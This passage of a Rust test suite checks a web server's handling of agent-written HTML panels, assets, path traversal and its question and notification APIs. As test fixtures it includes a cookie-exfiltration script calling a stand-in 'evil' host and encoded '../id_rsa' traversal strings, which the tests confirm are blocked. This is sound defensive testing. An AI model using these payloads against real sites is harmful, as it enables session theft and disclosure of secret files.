7054        addr: SocketAddr,
7055        path: &str,
7056        headers: &[(&str, &str)],
7057        body: &[u8],
7058    ) -> Res {
7059        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7060        for (name, value) in headers {
7061            head.push_str(&format!("{name}: {value}\r\n"));
7062        }
7063        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7064        let mut socket = tokio::net::TcpStream::connect(addr)
7065            .await
7066            .expect("connect to the test server");
7067        socket
7068            .write_all(head.as_bytes())
7069            .await
7070            .expect("write request head");
7071        socket.write_all(body).await.expect("write request body");
7072        let mut raw = Vec::new();
7073        socket.read_to_end(&mut raw).await.expect("read response");
7074        let split = raw
7075            .windows(4)
7076            .position(|w| w == b"\r\n\r\n")
7077            .expect("a header block");
7078        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7079        let bytes = raw[split + 4..].to_vec();
7080        let status = head
7081            .lines()
7082            .next()
7083            .and_then(|line| line.split_whitespace().nth(1))
7084            .and_then(|code| code.parse().ok())
7085            .expect("a status line");
7086        Res {
7087            status,
7088            headers: head.to_lowercase(),
7089            head,
7090            body: String::from_utf8_lossy(&bytes).into_owned(),
7091            bytes,
7092        }
7093    }
7094
7095    /// A run on disk, without touching the process-global magi home.
7096    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7097        let mut state = RunState::new(
7098            PathBuf::from("/repo/magi"),
7099            "main".to_owned(),
7100            "0123456789abcdef".to_owned(),
7101            "Add a web UI\n\nMobile first.".to_owned(),
7102            Config::default(),
7103        );
7104        state.id = id.to_owned();
7105        state.status = status;
7106        let dir = runs.join(id);
7107        std::fs::create_dir_all(&dir).expect("run dir");
7108        std::fs::write(
7109            dir.join("run.json"),
7110            serde_json::to_string_pretty(&state).expect("serialize run"),
7111        )
7112        .expect("write run.json");
7113    }
7114
7115    /// Same as [`write_run`], but against a named repository rather than the
7116    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7117    /// spread across more than one.
7118    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7119        let mut state = RunState::new(
7120            PathBuf::from(repo),
7121            "main".to_owned(),
7122            "0123456789abcdef".to_owned(),
7123            "task".to_owned(),
7124            Config::default(),
7125        );
7126        state.id = id.to_owned();
7127        state.status = status;
7128        let dir = runs.join(id);
7129        std::fs::create_dir_all(&dir).expect("run dir");
7130        std::fs::write(
7131            dir.join("run.json"),
7132            serde_json::to_string_pretty(&state).expect("serialize run"),
7133        )
7134        .expect("write run.json");
7135    }
7136
7137    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7138        let body = serde_json::json!({
7139            "schema": 1,
7140            "pid": 4242,
7141            "started_at": Timestamp::now().to_string(),
7142            "updated_at": updated_at.to_string(),
7143            "idle": false,
7144            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7145            "completed": 7,
7146            "polls": 143,
7147        });
7148        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7149    }
7150
7151    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7152    ///
7153    /// No test in this file may start the real loop - see [`Ui::launch`] for
7154    /// why - so this stands in for the only thing the routes need a loop to
7155    /// do: keep running until `Stop` is set, then return. A real
7156    /// `serve_until` here would resolve its queue and its status file through
7157    /// the process-global magi home, claim whatever it found in the
7158    /// operator's live backlog, overwrite the status file of the `magi serve`
7159    /// that owns it, and spend real agent quota on a real competition.
7160    fn launch_idle(
7161        _opts: daemon::Opts,
7162        stop: daemon::Stop,
7163    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7164        Box::pin(async move {
7165            while !stop.stopped() {
7166                tokio::time::sleep(Duration::from_millis(2)).await;
7167            }
7168            Ok(())
7169        })
7170    }
7171
7172    /// A loop that fails on the way up, the way one whose home has gone
7173    /// read-only does.
7174    fn launch_broken(
7175        _opts: daemon::Opts,
7176        _stop: daemon::Stop,
7177    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7178        Box::pin(async {
7179            Err(anyhow::anyhow!(
7180                "publish the daemon status file: read-only file system"
7181            ))
7182        })
7183    }
7184
7185    /// The address the parking loop knocks on, and what it heard there.
7186    ///
7187    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7188    /// capture a fixture's address; this is how it is handed one. Only
7189    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7190    /// these, so nothing else in this binary can race them.
7191    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7192    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7193
7194    /// A loop that, once it is asked to stop, checks the deck still answers
7195    /// before it goes.
7196    ///
7197    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7198    /// so the request it makes is strictly inside the park window - no sleep
7199    /// and no polling needed to be sure of that.
7200    fn launch_knocking_on_the_way_out(
7201        _opts: daemon::Opts,
7202        stop: daemon::Stop,
7203    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7204        Box::pin(async move {
7205            while !stop.stopped() {
7206                tokio::time::sleep(Duration::from_millis(2)).await;
7207            }
7208            let addr = PARK_KNOCK
7209                .lock()
7210                .expect("park knock")
7211                .expect("the test set an address");
7212            let heard = request(addr, "GET", "/api/health", None).await.status;
7213            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7214            Ok(())
7215        })
7216    }
7217
7218    /// The loop view once `want` accepts it.
7219    ///
7220    /// Polled rather than asserted straight after the POST because stopping
7221    /// is deliberately not instant - that is the contract - and rather than
7222    /// slept through because a fixed wait is either flaky or slow.
7223    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7224    /// finite, so a genuine hang fails the test instead of hanging the
7225    /// suite.
7226    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7227        for _ in 0..SETTLE_STEPS {
7228            let view = fx.get("/api/loop").await.json();
7229            if want(&view) {
7230                return view;
7231            }
7232            tokio::time::sleep(Duration::from_millis(10)).await;
7233        }
7234        panic!(
7235            "the loop never settled: {}",
7236            fx.get("/api/loop").await.json()
7237        );
7238    }
7239
7240    /// File an open question directly in the store the server reads.
7241    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7242        let store = fx.questions();
7243        let mut q = Question::new(
7244            "20260902-000000-beef".to_owned(),
7245            "implement".to_owned(),
7246            "impl-A".to_owned(),
7247            summary.to_owned(),
7248            "because it matters".to_owned(),
7249            choices.iter().map(|c| (*c).to_owned()).collect(),
7250        );
7251        store.put(&mut q).expect("put question");
7252        q.id
7253    }
7254
7255    /// A question with a panel the server can serve, plus the named assets.
7256    ///
7257    /// Written through `Questions::put_panel` rather than by laying out the
7258    /// directory here, so these tests exercise the same on-disk shape the
7259    /// agents produce and cannot pass against a layout only the tests know.
7260    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7261        let store = fx.questions();
7262        let mut q = Question::new(
7263            "20260902-000000-beef".to_owned(),
7264            "land".to_owned(),
7265            "fix".to_owned(),
7266            "Merge this?".to_owned(),
7267            "the diff is in the panel".to_owned(),
7268            vec!["merge".to_owned(), "hold".to_owned()],
7269        );
7270        // Staged outside the questions root, because `put_panel` copies from
7271        // wherever the agent left its files.
7272        let staging = fx.home.path().join("staging");
7273        std::fs::create_dir_all(&staging).expect("staging dir");
7274        let sources: Vec<PathBuf> = assets
7275            .iter()
7276            .map(|(name, bytes)| {
7277                let path = staging.join(name);
7278                std::fs::write(&path, bytes).expect("write staged asset");
7279                path
7280            })
7281            .collect();
7282        store
7283            .put_panel(&mut q, html, &sources)
7284            .expect("write the panel");
7285        store.put(&mut q).expect("put question");
7286        q.id
7287    }
7288
7289    /// A talk on disk, without talking to a model.
7290    ///
7291    /// Written as JSON straight into the store the server reads, because the
7292    /// only constructor `talk::begin` offers takes no turn but still requires
7293    /// a real caller-visible flow. The one thing this cannot make up is the
7294    /// seat, so it is built with the real `SeatState::new` and serialized -
7295    /// the alternative, hand-writing that object, would make these tests fail
7296    /// the day the seat gains a field.
7297    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7298        seed_talk_at(&fx.talks(), id, status)
7299    }
7300
7301    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7302        std::fs::create_dir_all(store.root()).expect("talks dir");
7303        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7304            .expect("serialize a seat");
7305        let body = serde_json::json!({
7306            "schema": 1,
7307            "id": id,
7308            "repo": "/repo/magi",
7309            "agent": "mock",
7310            "status": status,
7311            "turns": [],
7312            "created_at": Timestamp::now().to_string(),
7313            "updated_at": Timestamp::now().to_string(),
7314            "seat": seat,
7315        });
7316        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7317        store.get(id).expect("the seeded talk has to be readable");
7318        id.to_owned()
7319    }
7320
7321    #[tokio::test]
7322    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7323        let fx = Fixture::start().await;
7324        let id = panel(
7325            &fx,
7326            "<h1>Merge?</h1><img src=\"diff.svg\">",
7327            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7328        );
7329
7330        for path in [
7331            format!("/api/questions/{id}/panel"),
7332            format!("/api/questions/{id}/asset/diff.svg"),
7333        ] {
7334            let res = fx.get(&path).await;
7335            assert_eq!(res.status, 200, "{path}: {}", res.body);
7336            // The whole string, not a substring. A weakened directive - an
7337            // `img-src *` that lets a panel beacon out to a remote host, a
7338            // `script-src` anything, a missing `form-action` that lets it post
7339            // the owner's decision to a third party - has to fail here, and a
7340            // `contains` assertion would let every one of those through.
7341            assert_eq!(
7342                res.header("content-security-policy"),
7343                Some(
7344                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7345                     font-src data:; base-uri 'none'; form-action 'none'; \
7346                     frame-ancestors 'self'"
7347                ),
7348                "{path} is the only thing between a hostile panel and the tailnet"
7349            );
7350            assert_eq!(
7351                res.header("x-content-type-options"),
7352                Some("nosniff"),
7353                "{path}: a browser must not re-decide the type we sent"
7354            );
7355            assert_eq!(
7356                res.header("referrer-policy"),
7357                Some("no-referrer"),
7358                "{path}: a panel must not leak the question id off the machine"
7359            );
7360
7361            // The front end mounts the frame only after a `HEAD` says the
7362            // panel is there, so `HEAD` has to answer with the same status and
7363            // the same policy as `GET` - a preflight that came back without
7364            // the CSP would mean a frame mounted on an unverified promise.
7365            let pre = fx.head(&path).await;
7366            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7367            assert_eq!(
7368                pre.header("content-security-policy"),
7369                res.header("content-security-policy"),
7370                "{path}: the preflight carries the same policy"
7371            );
7372            assert_eq!(
7373                pre.header("content-type"),
7374                res.header("content-type"),
7375                "{path}: the preflight carries the same type"
7376            );
7377        }
7378    }
7379
7380    #[tokio::test]
7381    async fn a_panel_reaches_the_browser_byte_for_byte() {
7382        let fx = Fixture::start().await;
7383        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7384        // tag, an entity, and a multi-byte character. The sandbox is what makes
7385        // this safe, so nothing here may be rewritten on the way out - a
7386        // rewritten diff is a diff the owner cannot trust.
7387        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7388        let id = panel(&fx, html, &[]);
7389
7390        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7391
7392        assert_eq!(res.status, 200);
7393        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7394        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7395        assert_eq!(
7396            res.header("content-disposition"),
7397            None,
7398            "the panel itself is rendered in the frame, not downloaded"
7399        );
7400    }
7401
7402    #[tokio::test]
7403    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7404        let fx = Fixture::start().await;
7405        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7406        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7407        let id = panel(
7408            &fx,
7409            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7410            &[("diff.svg", svg), ("shot.png", png)],
7411        );
7412
7413        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7414        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7415
7416        assert_eq!(as_svg.status, 200);
7417        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7418        // An SVG is XML that may carry script. Inside the panel it is an
7419        // `<img src>` and the script cannot run; opened at the top level it
7420        // would be a document on magi's own origin, so the browser is told to
7421        // download it instead of rendering it.
7422        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7423
7424        assert_eq!(as_png.status, 200);
7425        assert_eq!(as_png.header("content-type"), Some("image/png"));
7426        assert_eq!(
7427            as_png.header("content-disposition"),
7428            None,
7429            "a raster image has no execution surface, so tapping it still shows it"
7430        );
7431        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7432    }
7433
7434    #[tokio::test]
7435    async fn an_html_asset_is_never_served_as_html() {
7436        let fx = Fixture::start().await;
7437        let id = panel(
7438            &fx,
7439            "<p>see the notes</p>",
7440            &[
7441                (
7442                    "notes.html",
7443                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7444                ),
7445                ("hook.js", b"fetch('http://evil/')"),
7446                ("data.json", b"{}"),
7447                ("HEADLINE.TXT", b"plain"),
7448            ],
7449        );
7450
7451        for name in ["notes.html", "hook.js", "data.json"] {
7452            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7453            assert_eq!(res.status, 200, "{name}: {}", res.body);
7454            // Serving this as text/html would be a way to reach agent markup
7455            // at the top level of the operator's browser, outside the frame's
7456            // sandbox and outside its CSP - which is the whole thing the panel
7457            // design exists to prevent. Unlisted types are downloads.
7458            assert_eq!(
7459                res.header("content-type"),
7460                Some("application/octet-stream"),
7461                "{name} must not be a type the browser will execute or render"
7462            );
7463        }
7464        // The whitelist is matched case-insensitively, so an agent shouting the
7465        // extension still gets a readable file rather than a download.
7466        let txt = fx
7467            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7468            .await;
7469        assert_eq!(
7470            txt.header("content-type"),
7471            Some("text/plain; charset=utf-8")
7472        );
7473    }
7474
7475    #[tokio::test]
7476    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7477        let fx = Fixture::start().await;
7478        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7479        // Something outside the panel directory that a traversal would reach if
7480        // one got through, so a passing test is not merely "the file was
7481        // missing anyway".
7482        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7483
7484        // Decoded before this server's handler sees them: axum percent-decodes
7485        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7486        // string with a NUL in it. All three look like ordinary single-segment
7487        // filenames to the router, so the router passes them through and
7488        // `valid_asset_name` is what refuses them - for the literal `..`, and
7489        // for `/`, `\` and NUL not being in the permitted character set.
7490        for encoded in [
7491            "%2e%2e%2fid_rsa",
7492            "..%2fid_rsa",
7493            "..%5cid_rsa",
7494            "%2e%2e%5cid_rsa",
7495            "diff%00.svg",
7496            "..",
7497            ".hidden",
7498            "%2e%2e%2f%2e%2e%2fid_rsa",
7499        ] {
7500            let res = fx
7501                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7502                .await;
7503            assert_eq!(
7504                res.status, 400,
7505                "`{encoded}` has to be refused by name, not looked up: {}",
7506                res.body
7507            );
7508            assert!(res.json()["error"].is_string(), "{}", res.body);
7509        }
7510
7511        // Not decoded, and never this handler's problem: a real slash makes the
7512        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7513        // so axum's router has no route to match and answers before any code
7514        // here runs. Asserted so that a future route with a wildcard segment
7515        // cannot quietly open this door.
7516        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7517            let res = fx
7518                .get(&format!("/api/questions/{id}/asset/{literal}"))
7519                .await;
7520            assert_eq!(
7521                res.status, 404,
7522                "`{literal}` must not match the asset route at all: {}",
7523                res.body
7524            );
7525        }
7526    }
7527
7528    #[tokio::test]
7529    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7530        let fx = Fixture::start().await;
7531        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7532        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7533
7534        // A question nobody wrote a panel for. The client preflights with HEAD
7535        // and cannot see inside a sandboxed frame, so this must be a status and
7536        // not an empty page.
7537        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7538        assert_eq!(none.status, 404, "{}", none.body);
7539        assert!(none.json()["error"].is_string(), "{}", none.body);
7540        assert_eq!(
7541            fx.head(&format!("/api/questions/{plain}/panel"))
7542                .await
7543                .status,
7544            404,
7545            "the preflight is the only way the client can learn this"
7546        );
7547
7548        // A name that is perfectly legal and simply is not there.
7549        let missing = fx
7550            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7551            .await;
7552        assert_eq!(missing.status, 404, "{}", missing.body);
7553        assert!(missing.json()["error"].is_string(), "{}", missing.body);
7554
7555        // A question that does not exist at all, on both routes.
7556        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7557        assert_eq!(
7558            fx.get("/api/questions/nope/asset/diff.svg").await.status,
7559            404
7560        );
7561    }
7562
7563    #[tokio::test]
7564    async fn a_run_with_an_open_question_reads_as_waiting() {
7565        let fx = Fixture::start().await;
7566        let run = "20260902-000000-beef".to_owned();
7567        write_run(&fx.runs(), &run, RunStatus::Implementing);
7568
7569        let before = fx.get("/api/runs").await.json();
7570        assert_eq!(before[0]["waiting"], false, "{before}");
7571
7572        let store = fx.questions();
7573        let mut q = Question::new(
7574            run.clone(),
7575            "implement".to_owned(),
7576            "impl-A".to_owned(),
7577            "Which backend?".to_owned(),
7578            String::new(),
7579            vec!["SQLite".to_owned()],
7580        );
7581        store.put(&mut q).expect("put");
7582
7583        let during = fx.get("/api/runs").await.json();
7584        assert_eq!(during[0]["waiting"], true, "{during}");
7585
7586        // Answered: the run is moving again, and the flag has to follow without
7587        // anything having rewritten run.json.
7588        q.answer(Answer::Choice("SQLite".to_owned()))
7589            .expect("answer");
7590        store.put(&mut q).expect("put");
7591        let after = fx.get("/api/runs").await.json();
7592        assert_eq!(after[0]["waiting"], false, "{after}");
7593    }
7594
7595    #[tokio::test]
7596    async fn an_open_question_is_listed_and_counted_by_health() {
7597        let fx = Fixture::start().await;
7598        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7599
7600        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7601        let listed = fx.get("/api/questions").await.json();
7602        assert_eq!(listed.as_array().expect("array").len(), 1);
7603        assert_eq!(listed[0]["id"], id);
7604        assert_eq!(listed[0]["status"], "open");
7605        assert_eq!(listed[0]["choices"][1], "Redis");
7606        // The count is what makes the phone's indicator honest: it is the one
7607        // number meaning nothing will move until a human acts.
7608        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7609    }
7610
7611    #[tokio::test]
7612    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7613        let fx = Fixture::start().await;
7614        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7615        let path = format!("/api/questions/{id}/answer");
7616
7617        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7618        assert_eq!(res.status, 200, "{}", res.body);
7619        let body = res.json();
7620        assert_eq!(body["status"], "answered");
7621        assert_eq!(body["answer"]["choice"], "Redis");
7622
7623        // Answered from the terminal in between the list and the tap: the UI
7624        // must be able to tell this from a bad request, so it can show the
7625        // recorded answer instead of an error.
7626        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7627        assert_eq!(again.status, 409, "{}", again.body);
7628        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7629    }
7630
7631    #[tokio::test]
7632    async fn saying_something_appends_a_turn_without_answering() {
7633        let fx = Fixture::start().await;
7634        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7635        let path = format!("/api/questions/{id}/say");
7636
7637        let res = fx
7638            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7639            .await;
7640        assert_eq!(res.status, 200, "{}", res.body);
7641        let body = res.json();
7642        assert_eq!(body["status"], "open", "talking back is not a decision");
7643        assert_eq!(body["answer"], Value::Null);
7644        assert_eq!(body["thread"][0]["who"], "operator");
7645        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7646        assert_eq!(body["waiting_on_agent"], true);
7647        // Still open, still counted, still exactly one question.
7648        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7649    }
7650
7651    #[tokio::test]
7652    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7653        let fx = Fixture::start().await;
7654        let store = fx.questions();
7655        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7656        assert_eq!(
7657            fx.get("/api/health").await.json()["questions_needs_owner"],
7658            1
7659        );
7660
7661        // The owner asks back instead of deciding: the ask bar, the nav badge
7662        // and the title must stop naming this question, because there is
7663        // nothing to decide until the agent answers - `status` alone cannot
7664        // say that, which is the whole reason `questions_needs_owner` exists
7665        // alongside `questions_open`.
7666        let res = fx
7667            .post(
7668                &format!("/api/questions/{id}/say"),
7669                Some(r#"{"body":"why not Postgres?"}"#),
7670            )
7671            .await;
7672        assert_eq!(res.status, 200, "{}", res.body);
7673        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7674        assert_eq!(
7675            fx.get("/api/health").await.json()["questions_needs_owner"],
7676            0,
7677            "waiting on the agent is not waiting on the owner"
7678        );
7679
7680        // `magi ask --thread` replying is what brings the owner count back -
7681        // the same event that would resume the CLI call blocked in `magi
7682        // ask`.
7683        let mut q = store.get(&id).expect("get");
7684        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7685            .expect("reply");
7686        store.put(&mut q).expect("put");
7687        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7688        assert_eq!(
7689            fx.get("/api/health").await.json()["questions_needs_owner"],
7690            1,
7691            "the agent's reply is what should light the banner back up"
7692        );
7693    }
7694
7695    #[tokio::test]
7696    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7697        let fx = Fixture::start().await;
7698        let store = fx.questions();
7699
7700        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7701        let res = fx
7702            .post(
7703                &format!("/api/questions/{empty_id}/say"),
7704                Some(r#"{"body":"   "}"#),
7705            )
7706            .await;
7707        assert_eq!(res.status, 400, "{}", res.body);
7708
7709        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7710        let mut answered = store.get(&answered_id).expect("get");
7711        answered
7712            .answer(Answer::Choice("SQLite".to_owned()))
7713            .expect("answer");
7714        store.put(&mut answered).expect("put");
7715        let res = fx
7716            .post(
7717                &format!("/api/questions/{answered_id}/say"),
7718                Some(r#"{"body":"still there?"}"#),
7719            )
7720            .await;
7721        assert_eq!(res.status, 409, "{}", res.body);
7722
7723        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7724        let mut abandoned = store.get(&abandoned_id).expect("get");
7725        abandoned.abandon("timed out");
7726        store.put(&mut abandoned).expect("put");
7727        let res = fx
7728            .post(
7729                &format!("/api/questions/{abandoned_id}/say"),
7730                Some(r#"{"body":"still there?"}"#),
7731            )
7732            .await;
7733        assert_eq!(res.status, 409, "{}", res.body);
7734    }
7735
7736    #[tokio::test]
7737    async fn an_answer_the_question_does_not_offer_is_refused() {
7738        let fx = Fixture::start().await;
7739        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7740        let path = format!("/api/questions/{id}/answer");
7741
7742        for body in [
7743            r#"{"choice":"Postgres"}"#,
7744            r#"{"text":"whatever you think"}"#,
7745            r#"{"choice":"Redis","text":"both"}"#,
7746            r#"{}"#,
7747        ] {
7748            let res = fx.post(&path, Some(body)).await;
7749            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7750            assert!(res.json()["error"].is_string(), "{}", res.body);
7751        }
7752        // Nothing above may have answered it.
7753        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7754    }
7755
7756    #[tokio::test]
7757    async fn a_free_text_question_takes_text_and_not_a_choice() {
7758        let fx = Fixture::start().await;
7759        let id = ask(&fx, "What should the flag be called?", &[]);
7760        let path = format!("/api/questions/{id}/answer");
7761
7762        assert_eq!(
7763            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7764            400
7765        );
7766        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7767        assert_eq!(res.status, 200, "{}", res.body);
7768        assert_eq!(res.json()["answer"]["text"], "--json");
7769    }
7770
7771    #[tokio::test]
7772    async fn an_unknown_question_is_a_json_404() {
7773        let fx = Fixture::start().await;
7774        let res = fx
7775            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7776            .await;
7777        assert_eq!(res.status, 404, "{}", res.body);
7778        assert!(res.json()["error"].is_string());
7779    }
7780
7781    #[tokio::test]
7782    async fn notifications_list_read_dismiss_and_health_agree() {
7783        let fx = Fixture::start().await;
7784        let store = Notices::at(fx.home.path().join("notifications"));
7785        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7786        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7787
7788        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7789        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7790
7791        let health = fx.get("/api/health").await.json();
7792        assert_eq!(health["notifications_unread"], 2);
7793        assert_ne!(
7794            health["notifications_rev"], rev0,
7795            "the badge must move live"
7796        );
7797
7798        let listed = fx.get("/api/notifications").await.json();
7799        assert_eq!(listed["unread"], 2);
7800        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7801        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7802
7803        let read = fx
7804            .post(&format!("/api/notifications/{}/read", a.id), None)
7805            .await;
7806        assert_eq!(read.status, 200, "{}", read.body);
7807        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7808
7809        let gone = fx
7810            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7811            .await;
7812        assert_eq!(gone.status, 200, "{}", gone.body);
7813        let listed = fx.get("/api/notifications").await.json();
7814        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7815        assert_eq!(listed["unread"], 0);
7816
7817        store.raise(Notice::info("x", "again")).unwrap();
7818        let all = fx.post("/api/notifications/read-all", None).await;
7819        assert_eq!(all.status, 200, "{}", all.body);
7820        assert_eq!(all.json()["marked"], 1);
7821        assert_eq!(
7822            fx.get("/api/health").await.json()["notifications_unread"],
7823            0
7824        );
7825
7826        let missing = fx.post("/api/notifications/nope/read", None).await;
7827        assert_eq!(missing.status, 404, "{}", missing.body);
7828        assert!(missing.json()["error"].is_string());
7829    }
7830
7831    /// New work reaches the queue through `magi task add`, a standing talk's
7832    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
7833    /// so the compose form and that route are gone. The tests that covered
7834    /// that route's validation went with it, and nothing was left asserting
7835    /// it stays gone — so a re-added handler would silently let the phone
7836    /// file briefs no one validated.
7837    #[tokio::test]
7838    async fn a_task_cannot_be_filed_over_the_phone_directly() {
7839        let f = Fixture::start().await;
7840
7841        let res = f
7842            .post(
7843                "/api/queue",
7844                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7845            )
7846            .await;
7847
7848        assert_eq!(
7849            res.status, 405,
7850            "POST /api/queue must not be a route: {}",
7851            res.body
7852        );
7853        assert!(
7854            f.queue().list().is_empty(),
7855            "a task filed by a route that does not exist must not reach the disk"
7856        );
7857        // The path itself is still served — the Queue view reads it — and the
7858        // per-task controls are untouched by the entry being removed.
7859        assert_eq!(f.get("/api/queue").await.status, 200);
7860    }
7861
7862    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
7863    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7864        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7865            .expect("checkout dir");
7866    }
7867
7868    /// Two command agents, so a config needs no real CLI.
7869    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7870
7871    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7872        let tmp = TempDir::new().expect("tempdir");
7873        let repo = tmp.path().join("repo");
7874        std::fs::create_dir_all(&repo).expect("repo dir");
7875        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7876        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7877        if let Some(text) = machine_toml {
7878            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7879            std::fs::write(&machine, text).expect("machine toml");
7880        }
7881        (tmp, repo, machine)
7882    }
7883
7884    #[tokio::test]
7885    async fn settings_get_reports_sources_and_the_advisors_fallback() {
7886        let (_tmp, repo, machine) =
7887            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7888        let f = Fixture::with_repo_and_machine(repo, machine).await;
7889        let res = f.get("/api/settings").await;
7890        assert_eq!(res.status, 200, "{}", res.body);
7891        let v = res.json();
7892        assert!(v["error"].is_null(), "{v}");
7893        let role = |k: &str| {
7894            v["roles"]
7895                .as_array()
7896                .and_then(|r| r.iter().find(|x| x["key"] == k))
7897                .cloned()
